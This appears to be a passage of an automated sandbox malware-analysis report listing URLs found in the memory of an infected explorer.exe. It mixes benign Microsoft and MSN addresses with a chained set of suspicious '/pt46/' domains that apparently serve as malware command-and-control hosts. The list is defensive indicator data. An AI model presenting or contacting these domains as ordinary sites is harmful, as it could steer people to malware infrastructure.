Source: explorer.exe, 00000002.00000003.3106633874.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3460584807.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000002.00000000.1691865413.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1693513837.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1692211406.0000000008720000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.af28.top
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.af28.top/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.af28.top/pt46/www.wvufcw948o.top
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.af28.topReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.arlatwestern.shop
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.arlatwestern.shop/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.arlatwestern.shop/pt46/www.betbox2341.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.arlatwestern.shopReferer:
Source: explorer.exe, 00000002.00000003.3105555593.000000000C9E7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105760256.000000000C9C3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3459517159.000000000C9E3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105408163.000000000C96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105927486.000000000C9E0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.betbox2341.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.betbox2341.com/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.betbox2341.com/pt46/www.dreziuy.xyz
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.betbox2341.comReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cb214.pro
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cb214.pro/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cb214.pro/pt46/www.uddyen.shop
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cb214.proReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dreziuy.xyz
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dreziuy.xyz/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dreziuy.xyz/pt46/www.af28.top
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dreziuy.xyzReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.harbalmaizik.com
Source: explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.harbalmaizik.com/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.harbalmaizik.comReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.iiixc759q.xyz
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.iiixc759q.xyz/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.iiixc759q.xyz/pt46/www.sliveringaf.christmas
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.iiixc759q.xyzReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.per-watch.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.per-watch.com/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.per-watch.com/pt46/www.cb214.pro
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.per-watch.comReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.serverdayz.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.serverdayz.com/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.serverdayz.com/pt46/www.theselflovesite.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.serverdayz.comReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sliveringaf.christmas
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sliveringaf.christmas/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sliveringaf.christmas/pt46/www.twinportslocal.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sliveringaf.christmasReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.strategiclogisticsagency.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.strategiclogisticsagency.com/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.strategiclogisticsagency.com/pt46/www.arlatwestern.shop
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.strategiclogisticsagency.comReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.theselflovesite.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.theselflovesite.com/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.theselflovesite.com/pt46/www.iiixc759q.xyz
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.theselflovesite.comReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.twinportslocal.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.twinportslocal.com/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.twinportslocal.com/pt46/www.per-watch.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.twinportslocal.comReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.uddyen.shop
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.uddyen.shop/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.uddyen.shop/pt46/www.harbalmaizik.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.uddyen.shopReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wheresthechocolateat.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wheresthechocolateat.com/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wheresthechocolateat.com/pt46/www.serverdayz.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wheresthechocolateat.comReferer:
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wvufcw948o.top
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wvufcw948o.top/pt46/
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wvufcw948o.top/pt46/www.wheresthechocolateat.com
Source: explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wvufcw948o.topReferer:
Source: explorer.exe, 00000002.00000002.4140282960.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000002.00000003.3106633874.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3460584807.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000002.00000003.3106633874.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3460584807.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000002.00000003.3106730980.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000002.00000003.3106730980.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000002.00000003.3106168394.000000000370C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1689421326.0000000001248000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1690234214.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4131906995.000000000371D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4130664526.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3107315493.000000000371C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000002.00000002.4135304707.0000000009702000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.0000000009701000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000002.00000002.4135304707.0000000009702000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.0000000009701000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000002.00000002.4140282960.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 00000002.00000002.4140282960.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000002.00000002.4140282960.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
